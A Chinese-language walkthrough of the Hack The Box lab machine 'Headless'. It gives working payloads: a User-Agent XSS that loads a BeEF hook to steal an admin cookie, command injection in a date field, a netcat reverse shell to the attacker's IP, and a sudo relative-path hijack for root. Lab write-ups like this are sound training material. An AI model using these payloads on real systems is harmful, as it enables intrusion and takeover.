Headless(HTB Easy)
基本信息
- IP:
10.10.11.8 - 域名:
headless.htb
信息收集
nmap -sT --min-rate 10000 -p- 10.10.11.8 --unprivileged
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| <title>Under Construction</title>
5000 是 Flask/Werkzeug Web。映射 hosts:
vim /etc/hosts
10.10.11.8 headless.htb
访问 http://headless.htb:5000。
User
页面有提交表单,先试 XSS。启动 beef-xss,把 hook 带进 payload,例如:
<script src="http://<VPN_IP>:3000/hook.js"></script>
直接打页面被防火墙拦截。UA 被嵌入返回页,改 User-Agent:
User-Agent: <script src="http://10.10.16.3:3000/hook.js"></script>
beef-xss 收到 hook。Commands 里用 GetCookie 拿到:
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
目录扫描:
gobuster dir -u http://headless.htb:5000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
/dashboard 需要管理员 cookie。带上 cookie 后是一个 date 提交页。Burp 重放,在 date=2023-09-15 后加 ";id":
Systems are up and running! uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
确认命令执行。本机监听:
nc -lnvp 4444
payload:
date=2023-09-15;nc+-e+/bin/bash+10.10.16.3+4444
升级交互:
python3 -c 'import pty;pty.spawn("/bin/bash")'
拿到 user。
Root
sudo -l
cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
$EUID -ne 0 说明脚本以 root 跑。最后用相对路径调用 ./initdb.sh,可在可写目录放同名脚本:
cd /tmp
echo -e '#!/bin/bash\n/bin/bash' > /tmp/initdb.sh
chmod +x /tmp/initdb.sh
sudo /usr/bin/syscheck
执行成功,拿到 root。
至此已经获得机器所有权限。